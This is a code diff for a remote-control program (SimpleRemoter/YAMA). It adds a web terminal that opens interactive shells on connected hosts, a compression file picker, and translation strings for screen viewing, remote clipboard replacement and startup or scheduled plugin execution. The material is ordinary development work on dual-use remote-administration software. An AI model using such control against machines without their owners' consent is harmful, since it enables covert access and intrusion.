// 链接从上级同步而来,修改无效;建议设置这些菜单为隐藏
// 反馈链接(帮助菜单 → 反馈)
#define BRAND_URL_FEEDBACK "https://t.me/SimpleRemoter"
@@ -290,6 +293,11 @@
#define BRAND_LICENSE_MAGIC "YAMA" // 许可证魔数
#define BRAND_EVENT_PREFIX "YAMA" // 进程事件名前缀
#define BRAND_ENV_VAR "YAMA_PWD" // 环境变量名set YAMA_PWD=密码)
// Web UI 专用 admin 密码;优先级高于 BRAND_ENV_VAR。两者都未设置时退回到
// 兼容行为(用 m_superPass。隔离的目的是让公网 Web 登录密码与下级授权
// 用的 master password 解耦——后者一旦泄漏影响面更大,应避免在公网登录
// 时复用。与 Go 服务端的 YAMA_WEB_ADMIN_PASS 语义一致。
#define BRAND_WEB_ENV_VAR "YAMA_WEB_ADMIN_PASS"
// --- 宽字符版本(自动生成)---
#define BRAND_APP_NAME_W _T(BRAND_APP_NAME)

File diff suppressed because it is too large Load Diff

View File

@@ -1,5 +1,6 @@
#include "stdafx.h"
#include "2015Remote.h"
#include "resource.h" // IDR_WEB_XTERM_* (xterm.js/css 静态资源 ID)
#include "WebService.h"
#include "WebServiceAuth.h"
#include "2015RemoteDlg.h"
@@ -18,6 +19,21 @@
#pragma comment(lib, "ws2_32.lib")
// Load a Win32 BINARY resource by ID as std::string (raw bytes).
// Returns empty string on failure. The std::string is OK to hold binary data
// (we only treat it as bytes; size is from .length()).
static std::string LoadBinaryResourceAsString(int resourceId) {
HRSRC hRes = FindResourceA(NULL, MAKEINTRESOURCEA(resourceId), "BINARY");
if (!hRes) return {};
DWORD size = SizeofResource(NULL, hRes);
if (!size) return {};
HGLOBAL hData = LoadResource(NULL, hRes);
if (!hData) return {};
LPVOID p = LockResource(hData);
if (!p) return {};
return std::string(static_cast<const char*>(p), size);
}
// Challenge-response nonce storage (prevents replay attacks)
static std::map<void*, std::string> s_ClientNonces;
static std::mutex s_NonceMutex;
@@ -239,11 +255,35 @@ void CWebService::ServerThread(int port) {
// Serve static HTML page and file downloads
static std::string cachedHtml = GetWebPageHTML();
// Log loaded size; zero bytes means the RC BINARY resource is missing or
// server/web/index.html was not embedded — check 2015Remote.rc and rebuild.
Mprintf("[WebService] index.html loaded: %zu bytes\n", cachedHtml.size());
std::string payloadsDir = m_PayloadsDir; // Capture for lambda
wsServer.onHttp([payloadsDir](const std::string& path) -> ws::HttpResponse {
// 静态资源缓存xterm.js / xterm.css / fit-addon。RC binary 资源加载一次缓存到内存,
// 避免每个浏览器请求都去 LockResource。Cache-Control 给浏览器侧缓存友好。
static std::string cachedXtermJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_JS);
static std::string cachedXtermCss = LoadBinaryResourceAsString(IDR_WEB_XTERM_CSS);
static std::string cachedXtermFitJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_FIT_JS);
auto buildStatic = [](const std::string& body, const std::string& mime) {
ws::HttpResponse r = ws::HttpResponse::OK(body, mime);
r.headers["Cache-Control"] = "public, max-age=86400"; // 1 day
return r;
};
wsServer.onHttp([payloadsDir, buildStatic](const std::string& path) -> ws::HttpResponse {
if (path == "/" || path == "/index.html") {
return ws::HttpResponse::OK(cachedHtml);
} else if (path == "/static/xterm.js") {
if (cachedXtermJs.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedXtermJs, "application/javascript; charset=utf-8");
} else if (path == "/static/xterm.css") {
if (cachedXtermCss.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedXtermCss, "text/css; charset=utf-8");
} else if (path == "/static/xterm-fit.js") {
if (cachedXtermFitJs.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedXtermFitJs, "application/javascript; charset=utf-8");
} else if (path == "/health") {
return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
} else if (path == "/manifest.json") {
@@ -366,6 +406,14 @@ void CWebService::ServerThread(int port) {
HandleListUsers(ws_ptr, token);
} else if (cmd == "get_groups") {
HandleGetGroups(ws_ptr, token);
} else if (cmd == "term_open") {
HandleTermOpen(ws_ptr, msg);
} else if (cmd == "term_input") {
HandleTermInput(ws_ptr, msg);
} else if (cmd == "term_resize") {
HandleTermResize(ws_ptr, msg);
} else if (cmd == "term_close") {
HandleTermClose(ws_ptr, msg);
}
}
});
@@ -1163,6 +1211,16 @@ void CWebService::UnregisterClient(void* ws_ptr) {
if (device_id > 0) {
StopRemoteDesktop(device_id);
}
// 关闭这个 web client 持有的所有终端会话MVP 一个用户一台主机一个,但兜底全扫描)
{
std::lock_guard<std::mutex> lk(m_TermMutex);
std::vector<uint64_t> to_close;
for (auto& kv : m_TermSessions) {
if (kv.second.ws_ptr == ws_ptr) to_close.push_back(kv.first);
}
for (uint64_t did : to_close) CloseTermSessionLocked(did);
}
}
WebClient* CWebService::FindClient(void* ws_ptr) {
@@ -1716,6 +1774,255 @@ void CWebService::StopRemoteDesktop(uint64_t device_id) {
}
}
//////////////////////////////////////////////////////////////////////////
// Web Terminal Session
//
// 数据流向:
// 浏览器 ── term_open ──► HandleTermOpen ── COMMAND_SHELL ──► 客户端
// 客户端 ── shell 子上下文 ──► MessageHandle TOKEN_TERMINAL_START
// ── RegisterTerminalContext ──► WebService
// 客户端 shell 输出 ── TOKEN_TERMINAL_DATA ──► MessageHandle ──► OnTerminalData
// ──► term_output 给浏览器
// 浏览器 keystrokes ── term_input ──► HandleTermInput ──► shell_ctx->Send2Client
//
// 一台主机最多一个 web 终端会话MVP
//////////////////////////////////////////////////////////////////////////
static std::string BuildTermJson(const std::string& cmd, std::initializer_list<std::pair<const char*, std::string>> kv) {
Json::Value v;
v["cmd"] = cmd;
for (auto& p : kv) v[p.first] = p.second;
Json::StreamWriterBuilder b; b["indentation"] = "";
return Json::writeString(b, v);
}
void CWebService::HandleTermOpen(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Invalid token"));
return;
}
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
if (!device_id || !m_pParentDlg) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Bad request"));
return;
}
context* ctx = m_pParentDlg->FindHost(device_id);
if (!ctx) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Device offline"));
return;
}
// Group permission check (admin 全部可见)
if (username != "admin") {
std::string g = ctx->GetGroupName(); if (g.empty()) g = "default";
bool ok = false;
{
std::lock_guard<std::mutex> lk(m_UsersMutex);
for (auto& u : m_Users) if (u.username == username) {
for (auto& ag : u.allowed_groups) if (ag == g) { ok = true; break; }
break;
}
}
if (!ok) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Permission denied"));
return;
}
}
// 占用MVP 阶段单设备单 web 终端
{
std::lock_guard<std::mutex> lk(m_TermMutex);
if (m_TermSessions.find(device_id) != m_TermSessions.end() ||
m_TermPending.find(device_id) != m_TermPending.end()) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false,
"Terminal already open by another viewer"));
return;
}
WebTermSession s; s.ws_ptr = ws_ptr; s.device_id = device_id;
s.shell_ctx = nullptr; s.is_pty = false;
m_TermSessions[device_id] = s;
m_TermPending.insert(device_id);
}
// 触发客户端:发 COMMAND_SHELL
BYTE cmd = COMMAND_SHELL;
if (!ctx->Send2Client(&cmd, 1)) {
std::lock_guard<std::mutex> lk(m_TermMutex);
m_TermSessions.erase(device_id);
m_TermPending.erase(device_id);
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Send failed"));
return;
}
Mprintf("[WebService] term_open device=%llu user=%s\n", device_id, username.c_str());
}
void CWebService::HandleTermInput(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) return;
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
std::string data = root.get("data", "").asString();
if (!device_id || data.empty()) return;
CONTEXT_OBJECT* shellCtx = nullptr;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
shellCtx = it->second.shell_ctx;
}
if (!shellCtx) return; // shell 子上下文还没就绪
shellCtx->Send2Client((BYTE*)data.data(), (ULONG)data.size());
}
void CWebService::HandleTermResize(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) return;
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
int cols = root.get("cols", 0).asInt();
int rows = root.get("rows", 0).asInt();
if (!device_id || cols <= 0 || rows <= 0) return;
CONTEXT_OBJECT* shellCtx = nullptr;
bool isPty = false;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
shellCtx = it->second.shell_ctx;
isPty = it->second.is_pty;
}
if (!shellCtx || !isPty) return; // 老 cmd 模式不支持 resize
BYTE buf[5];
buf[0] = CMD_TERMINAL_RESIZE;
*(short*)(buf + 1) = (short)cols;
*(short*)(buf + 3) = (short)rows;
shellCtx->Send2Client(buf, 5);
}
void CWebService::HandleTermClose(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
if (!device_id) return;
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
CloseTermSessionLocked(device_id);
}
void CWebService::CloseTermSessionLocked(uint64_t device_id) {
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end()) return;
CONTEXT_OBJECT* shellCtx = it->second.shell_ctx;
void* ws_ptr = it->second.ws_ptr;
m_TermSessions.erase(it);
m_TermPending.erase(device_id);
if (shellCtx) {
m_TermContextToDevice.erase(shellCtx);
// 触发客户端 shell 退出:直接断该子上下文
// (老 ShellDlg 是直接 Send TOKEN_BYE 之类,但断开更可靠)
shellCtx->CancelIO();
}
// 通知前端
SendText(ws_ptr, BuildJsonResponse("term_closed", true, "closed"));
Mprintf("[WebService] term_closed device=%llu\n", device_id);
}
bool CWebService::IsTermPending(uint64_t device_id) {
std::lock_guard<std::mutex> lk(m_TermMutex);
return m_TermPending.find(device_id) != m_TermPending.end();
}
void CWebService::RegisterTerminalContext(uint64_t device_id, CONTEXT_OBJECT* ctx, bool isPty) {
void* ws_ptr_to_notify = nullptr;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end()) return; // 没有等的 web session 了
it->second.shell_ctx = ctx;
it->second.is_pty = isPty;
m_TermContextToDevice[ctx] = device_id;
m_TermPending.erase(device_id);
ws_ptr_to_notify = it->second.ws_ptr;
}
// 关键步骤:告知客户端"启动 shell 输出回流"。
// PTY 模式:客户端 PTYHandler 已 fork 了 shell 子进程,但读线程要靠 COMMAND_NEXT 才启动
// (参考 TerminalDlg::OnTerminalReady。漏发会导致 shell 在跑但输出永远不送回。
// PTY 还要先告知初始 cols/rows默认 80x24否则 shell 会按 PTY 默认尺寸渲染,
// vim 等 TUI 在浏览器侧的 fit 调整前会乱。后续浏览器 term_resize 会再调整。
if (isPty) {
BYTE resizeBuf[5];
resizeBuf[0] = CMD_TERMINAL_RESIZE;
*(short*)(resizeBuf + 1) = (short)80;
*(short*)(resizeBuf + 3) = (short)24;
ctx->Send2Client(resizeBuf, 5);
}
BYTE startCmd = COMMAND_NEXT;
ctx->Send2Client(&startCmd, 1);
// 通知前端 ready告知模式pty / legacy
if (ws_ptr_to_notify) {
SendText(ws_ptr_to_notify, BuildTermJson("term_ready", {{"mode", isPty ? "pty" : "legacy"}}));
}
Mprintf("[WebService] term_ready device=%llu mode=%s\n",
device_id, isPty ? "pty" : "legacy");
}
bool CWebService::IsTerminalContext(CONTEXT_OBJECT* ctx) {
std::lock_guard<std::mutex> lk(m_TermMutex);
return m_TermContextToDevice.find(ctx) != m_TermContextToDevice.end();
}
void CWebService::OnTerminalData(CONTEXT_OBJECT* ctx, const BYTE* data, ULONG len) {
void* ws_ptr = nullptr;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermContextToDevice.find(ctx);
if (it == m_TermContextToDevice.end()) return;
auto sit = m_TermSessions.find(it->second);
if (sit == m_TermSessions.end()) return;
ws_ptr = sit->second.ws_ptr;
}
if (!ws_ptr || !data || !len) return;
// 用 binary frame 透传字节流(避免 JSON 二进制不可见字符 / 编码膨胀)。
// 帧格式:[4B magic 'TRM1'][N=payload]
// 4 字节 magic = 0x54 0x52 0x4D 0x31 —— 视频帧首 4 字节是 deviceIDuint32 LE
// 撞这个具体值 (0x314D5254) 的概率极低,浏览器侧据此安全分流。
std::vector<uint8_t> packet;
packet.reserve(len + 4);
packet.push_back('T'); packet.push_back('R'); packet.push_back('M'); packet.push_back('1');
packet.insert(packet.end(), data, data + len);
SendBinary(ws_ptr, packet.data(), packet.size());
}
void CWebService::OnTerminalClosed(CONTEXT_OBJECT* ctx) {
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermContextToDevice.find(ctx);
if (it == m_TermContextToDevice.end()) return;
uint64_t device_id = it->second;
CloseTermSessionLocked(device_id);
}
//////////////////////////////////////////////////////////////////////////
// Screen Context Registry (for mouse/keyboard control)
//////////////////////////////////////////////////////////////////////////

View File

@@ -247,6 +247,27 @@ public:
void UnregisterScreenContext(uint64_t device_id);
CONTEXT_OBJECT* GetScreenContext(uint64_t device_id);
// ========== Web Terminal (Phase 1: 1 user per device) ==========
// Web 终端会话桥:把浏览器端 xterm.js ↔ 客户端 shell 子上下文连起来。
// 设计:每台主机最多一个 Web 终端会话;如果别的浏览器请求同一台主机的终端,
// 拒绝UX 上后续可改成共享只读)。
// 生命周期term_open → COMMAND_SHELL → 客户端建子上下文 → MessageHandle
// 看到 TOKEN_TERMINAL_START / TOKEN_SHELL_START + IsTermPending(d) →
// 调 RegisterTerminalContext 接管,跳过 MFC dialog 打开。
// 浏览器侧入口
void HandleTermOpen(void* ws_ptr, const std::string& msg);
void HandleTermInput(void* ws_ptr, const std::string& msg);
void HandleTermResize(void* ws_ptr, const std::string& msg);
void HandleTermClose(void* ws_ptr, const std::string& msg);
// MessageHandle 向 WebService 询问 / 移交的钩子
bool IsTermPending(uint64_t device_id); // 决定是否要拦截 dialog 打开
void RegisterTerminalContext(uint64_t device_id, CONTEXT_OBJECT* ctx, bool isPty);
bool IsTerminalContext(CONTEXT_OBJECT* ctx); // 是否是 Web 终端持有的上下文
void OnTerminalData(CONTEXT_OBJECT* ctx, const BYTE* data, ULONG len);// 把 shell 输出泵到对应 web client
void OnTerminalClosed(CONTEXT_OBJECT* ctx); // shell 子上下文断开时清理
private:
// Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT
std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts;
@@ -255,6 +276,21 @@ private:
// MFC triggered devices: dialogs created by MFC should always be visible
std::set<uint64_t> m_MfcTriggeredDevices;
std::mutex m_MfcTriggeredMutex;
// Web 终端会话状态
struct WebTermSession {
void* ws_ptr; // browser WebSocket
uint64_t device_id;
CONTEXT_OBJECT* shell_ctx; // shell 子上下文(首条消息抵达后才填)
bool is_pty; // true=TOKEN_TERMINAL现代 PTY, false=TOKEN_SHELL老 cmd 管道)
};
std::map<uint64_t, WebTermSession> m_TermSessions; // by device_id
std::map<CONTEXT_OBJECT*, uint64_t> m_TermContextToDevice; // 反查 ctx → device_id
std::set<uint64_t> m_TermPending; // 已发 COMMAND_SHELL 待响应
std::mutex m_TermMutex;
// 内部清理(已持锁版本)
void CloseTermSessionLocked(uint64_t device_id);
};
// Global accessor

View File

@@ -0,0 +1,260 @@
#include "stdafx.h"
#include "ZstaPickerDlg.h"
#include "LangManager.h"
#include <shobjidl.h>
#include <atlconv.h>
#include <algorithm>
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
namespace {
bool IsDirectoryPath(const std::string& p)
{
DWORD attr = GetFileAttributesA(p.c_str());
return (attr != INVALID_FILE_ATTRIBUTES) && (attr & FILE_ATTRIBUTE_DIRECTORY);
}
// 构造一个无控件的 DLGTEMPLATEcdit=0控件由 OnInitDialog 动态创建。
void BuildDialogTemplate(std::vector<BYTE>& out, LPCWSTR caption,
short cx, short cy)
{
out.clear();
auto append = [&](const void* p, size_t n) {
const BYTE* b = (const BYTE*)p;
out.insert(out.end(), b, b + n);
};
auto appendW = [&](WORD v) {
out.push_back((BYTE)(v & 0xFF));
out.push_back((BYTE)((v >> 8) & 0xFF));
};
auto appendWStr = [&](LPCWSTR s) {
size_t n = wcslen(s);
append(s, (n + 1) * sizeof(WCHAR));
};
DLGTEMPLATE dt = { 0 };
dt.style = DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER |
WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME;
dt.dwExtendedStyle = 0;
dt.cdit = 0;
dt.x = 0; dt.y = 0;
dt.cx = cx; dt.cy = cy;
append(&dt, sizeof(dt));
appendW(0); // no menu
appendW(0); // default dialog class
appendWStr(caption); // caption
appendW(8); // font point size
appendWStr(L"MS Shell Dlg"); // typeface
while (out.size() % 4) out.push_back(0); // DWORD align
}
} // namespace
CZstaPickerDlg::CZstaPickerDlg(CWnd* parent)
: CDialog((LPCTSTR)NULL, parent)
{
}
BEGIN_MESSAGE_MAP(CZstaPickerDlg, CDialog)
ON_BN_CLICKED(IDC_ZSTA_ADDFILES, &CZstaPickerDlg::OnAddFiles)
ON_BN_CLICKED(IDC_ZSTA_ADDFOLDERS, &CZstaPickerDlg::OnAddFolders)
ON_BN_CLICKED(IDC_ZSTA_REMOVE, &CZstaPickerDlg::OnRemove)
ON_WM_SIZE()
END_MESSAGE_MAP()
INT_PTR CZstaPickerDlg::DoModal()
{
CString title = _TR("选择要压缩的文件 / 文件夹");
USES_CONVERSION;
BuildDialogTemplate(m_Template, T2CW(title), 360, 220);
InitModalIndirect((LPCDLGTEMPLATE)m_Template.data());
return CDialog::DoModal();
}
BOOL CZstaPickerDlg::OnInitDialog()
{
CDialog::OnInitDialog();
CRect cli;
GetClientRect(&cli);
// 占位 rect真正布局在 LayoutControls 里
CRect r0(0, 0, 10, 10);
m_List.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
LVS_REPORT | LVS_SHOWSELALWAYS,
r0, this, IDC_ZSTA_LIST);
m_List.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_List.InsertColumn(0, _TR("类型"), LVCFMT_LEFT, 60);
m_List.InsertColumn(1, _TR("路径"), LVCFMT_LEFT, 400);
auto mkBtn = [&](CButton& b, LPCTSTR text, int id, DWORD extra = 0) {
b.Create(text,
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON | extra,
r0, this, id);
};
mkBtn(m_BtnAddFiles, _TR("添加文件..."), IDC_ZSTA_ADDFILES);
mkBtn(m_BtnAddFolders, _TR("添加文件夹..."), IDC_ZSTA_ADDFOLDERS);
mkBtn(m_BtnRemove, _TR("移除选中"), IDC_ZSTA_REMOVE);
mkBtn(m_BtnOK, _TR("确定"), IDOK, BS_DEFPUSHBUTTON);
mkBtn(m_BtnCancel, _TR("取消"), IDCANCEL);
// 子控件继承对话框的字体 (DS_SETFONT)
HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
if (hFont) {
m_List.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_BtnAddFiles.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_BtnAddFolders.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_BtnRemove.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_BtnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_BtnCancel.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
LayoutControls(cli.Width(), cli.Height());
RefreshList();
return TRUE;
}
void CZstaPickerDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
if (m_List.GetSafeHwnd()) LayoutControls(cx, cy);
}
void CZstaPickerDlg::LayoutControls(int cx, int cy)
{
const int margin = 10;
const int btnW = 120;
const int btnH = 26;
const int gap = 6;
int listRight = cx - margin - btnW - margin;
if (listRight < margin + 100) listRight = margin + 100;
m_List.MoveWindow(margin, margin, listRight - margin, cy - margin * 2);
int x = listRight + margin;
int y = margin;
m_BtnAddFiles.MoveWindow(x, y, btnW, btnH); y += btnH + gap;
m_BtnAddFolders.MoveWindow(x, y, btnW, btnH); y += btnH + gap;
m_BtnRemove.MoveWindow(x, y, btnW, btnH);
int bottomY = cy - margin - btnH;
m_BtnCancel.MoveWindow(x, bottomY, btnW, btnH);
m_BtnOK.MoveWindow(x, bottomY - btnH - gap, btnW, btnH);
// 让"路径"列填满剩余宽度
if (m_List.GetSafeHwnd()) {
CRect lr;
m_List.GetClientRect(&lr);
int w0 = m_List.GetColumnWidth(0);
int w1 = lr.Width() - w0 - GetSystemMetrics(SM_CXVSCROLL) - 4;
if (w1 > 100) m_List.SetColumnWidth(1, w1);
}
}
void CZstaPickerDlg::AddPath(const std::string& path)
{
if (path.empty()) return;
if (std::find(m_Paths.begin(), m_Paths.end(), path) == m_Paths.end()) {
m_Paths.push_back(path);
}
}
void CZstaPickerDlg::RefreshList()
{
m_List.DeleteAllItems();
for (size_t i = 0; i < m_Paths.size(); ++i) {
bool isDir = IsDirectoryPath(m_Paths[i]);
m_List.InsertItem((int)i, isDir ? _TR("文件夹") : _TR("文件"));
m_List.SetItemText((int)i, 1, CString(m_Paths[i].c_str()));
}
}
void CZstaPickerDlg::OnAddFiles()
{
const DWORD MAX_BUF = 64 * 1024;
std::vector<TCHAR> buf(MAX_BUF, 0);
CFileDialog dlg(TRUE, NULL, NULL,
OFN_ALLOWMULTISELECT | OFN_EXPLORER |
OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
_T("All Files (*.*)|*.*||"), this);
dlg.m_ofn.lpstrFile = buf.data();
dlg.m_ofn.nMaxFile = MAX_BUF;
CString title = _TR("选择文件 (可多选)");
dlg.m_ofn.lpstrTitle = title;
if (dlg.DoModal() != IDOK) return;
POSITION pos = dlg.GetStartPosition();
while (pos) {
CString p = dlg.GetNextPathName(pos);
AddPath(std::string(CT2A(p.GetString())));
}
RefreshList();
}
void CZstaPickerDlg::OnAddFolders()
{
IFileOpenDialog* pfd = nullptr;
HRESULT hr = CoCreateInstance(CLSID_FileOpenDialog, NULL,
CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pfd));
if (FAILED(hr) || !pfd) return;
DWORD flags = 0;
pfd->GetOptions(&flags);
pfd->SetOptions(flags | FOS_PICKFOLDERS | FOS_ALLOWMULTISELECT |
FOS_PATHMUSTEXIST | FOS_FORCEFILESYSTEM);
USES_CONVERSION;
CString title = _TR("选择文件夹 (可多选)");
pfd->SetTitle(T2CW(title));
if (SUCCEEDED(pfd->Show(GetSafeHwnd()))) {
IShellItemArray* psia = nullptr;
if (SUCCEEDED(pfd->GetResults(&psia)) && psia) {
DWORD count = 0;
psia->GetCount(&count);
for (DWORD i = 0; i < count; ++i) {
IShellItem* psi = nullptr;
if (SUCCEEDED(psia->GetItemAt(i, &psi)) && psi) {
PWSTR wpath = nullptr;
if (SUCCEEDED(psi->GetDisplayName(SIGDN_FILESYSPATH, &wpath)) && wpath) {
int n = WideCharToMultiByte(CP_ACP, 0, wpath, -1,
NULL, 0, NULL, NULL);
if (n > 1) {
std::string s(n - 1, '\0');
WideCharToMultiByte(CP_ACP, 0, wpath, -1,
&s[0], n, NULL, NULL);
AddPath(s);
}
CoTaskMemFree(wpath);
}
psi->Release();
}
}
psia->Release();
}
}
pfd->Release();
RefreshList();
}
void CZstaPickerDlg::OnRemove()
{
std::vector<int> indices;
POSITION pos = m_List.GetFirstSelectedItemPosition();
while (pos) indices.push_back(m_List.GetNextSelectedItem(pos));
std::sort(indices.begin(), indices.end(), std::greater<int>());
for (int idx : indices) {
if (idx >= 0 && idx < (int)m_Paths.size()) {
m_Paths.erase(m_Paths.begin() + idx);
}
}
RefreshList();
}

View File

@@ -0,0 +1,52 @@
#pragma once
#include <afxwin.h>
#include <afxcmn.h>
#include <vector>
#include <string>
// 让用户在同一个对话框里累加要压缩的"文件 + 文件夹"组合:
// [添加文件...] 调出多选文件对话框
// [添加文件夹...] 调出多选文件夹对话框 (IFileOpenDialog + FOS_PICKFOLDERS)
// [移除选中] 从列表里删除
// DoModal() 返回 IDOK 时m_Paths 即为结果 (ANSI/MBCS 路径,与 ZSTA 管道一致)。
class CZstaPickerDlg : public CDialog
{
public:
explicit CZstaPickerDlg(CWnd* parent = nullptr);
virtual INT_PTR DoModal();
std::vector<std::string> m_Paths;
protected:
virtual BOOL OnInitDialog();
afx_msg void OnAddFiles();
afx_msg void OnAddFolders();
afx_msg void OnRemove();
afx_msg void OnSize(UINT nType, int cx, int cy);
DECLARE_MESSAGE_MAP()
private:
enum CtrlId {
IDC_ZSTA_LIST = 1001,
IDC_ZSTA_ADDFILES = 1002,
IDC_ZSTA_ADDFOLDERS = 1003,
IDC_ZSTA_REMOVE = 1004,
};
CListCtrl m_List;
CButton m_BtnAddFiles;
CButton m_BtnAddFolders;
CButton m_BtnRemove;
CButton m_BtnOK;
CButton m_BtnCancel;
std::vector<BYTE> m_Template; // in-memory DLGTEMPLATE bytes
void AddPath(const std::string& path);
void RefreshList();
void LayoutControls(int cx, int cy);
};

View File

@@ -105,6 +105,7 @@ RTT=RTT
解密数据=Decrypt Data
画板=Drawing
屏幕墙=Screen Wall
替换=Replace
替换图标=Replace Icon
发送文件=Send File
历史主机=Host History
@@ -1771,7 +1772,7 @@ FRPS
Web端口设置无效!\n必须具有有效的授权才能使用Web远程监控!=Web port set failed!\nA valid authorization is required!
打开Web远程桌面(&W)=Open Web SimpleRemoter(&W)
请在菜单设置Web端口!=Please set Web liscening port!
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=Please set YAMA_PWD to use Web SimpleRemoter!
请设置环境变量 YAMA_WEB_ADMIN_PASS 来使用Web远程桌面!=Please set YAMA_WEB_ADMIN_PASS to use Web SimpleRemoter!
如需Web远程桌面跨网使用方案请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator!
; Plugin Settings Dialog - English Translation
; Format: Simplified Chinese=English
@@ -1783,8 +1784,11 @@ IOCP
标准FRPC[不可用]=Standard FRPC [Unavailable]
不自动执行=No Auto Execute
启动执行=Execute on Startup
每日定时[未实现]=Daily Schedule [Not Implemented]
每周定时[未实现]=Weekly Schedule [Not Implemented]
每日定时=Daily Schedule
每周定时=Weekly Schedule
每月定时=Monthly Schedule
每年定时=Yearly Schedule
关闭执行=Turn OFF
名称=Name
大小=Size
运行类型=Run Type
@@ -1831,3 +1835,93 @@ IOCP
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
或手动重签:=Or re-sign manually:
<请输入文本用于替换远程剪切板>=<Please input text to replace remote clipboard>
; Screen Preview Loop - English Translation
; Format: Simplified Chinese=English
主机:=Host:
分辨率:=Resolution:
有 %d 个主机不支持屏幕预览,已跳过=%d host(s) do not support screen preview, skipped
播放快照=Play Snapshot
快照=Snapshot
预览=Preview
主机列表预览图=Host List Thumbnails
入站告警=Inbound Alert
反代理告警=Anti-Proxy Alert
试用版 LAN-only 限制=Trial Version - LAN Only Restriction
入站公网 IP: %s Proxy Protocol 真实 IP 或 raw TCP 对端)=Inbound public IP=%s (resolved via Proxy Protocol v2 real IP or raw TCP peer)
检测到入站连接来自公网 IP%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=Inbound connection from public IP: %s\r\n\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\n\r\nSee the message list and runtime log for full details.
检测到可疑连接:内核 RTT 中位数 %d ms超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=Suspicious connection detected: kernel-measured RTT median %d ms exceeds the threshold of %d ms.\r\n\r\nA persistently elevated RTT suggests the connection is being relayed through a proxy / VPN / tunnel.\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\n\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\nSee the message list and runtime log for full details.
; Auto FRP / Upper-FRP Hot-Swap - English Translation
; Format: Simplified Chinese=English
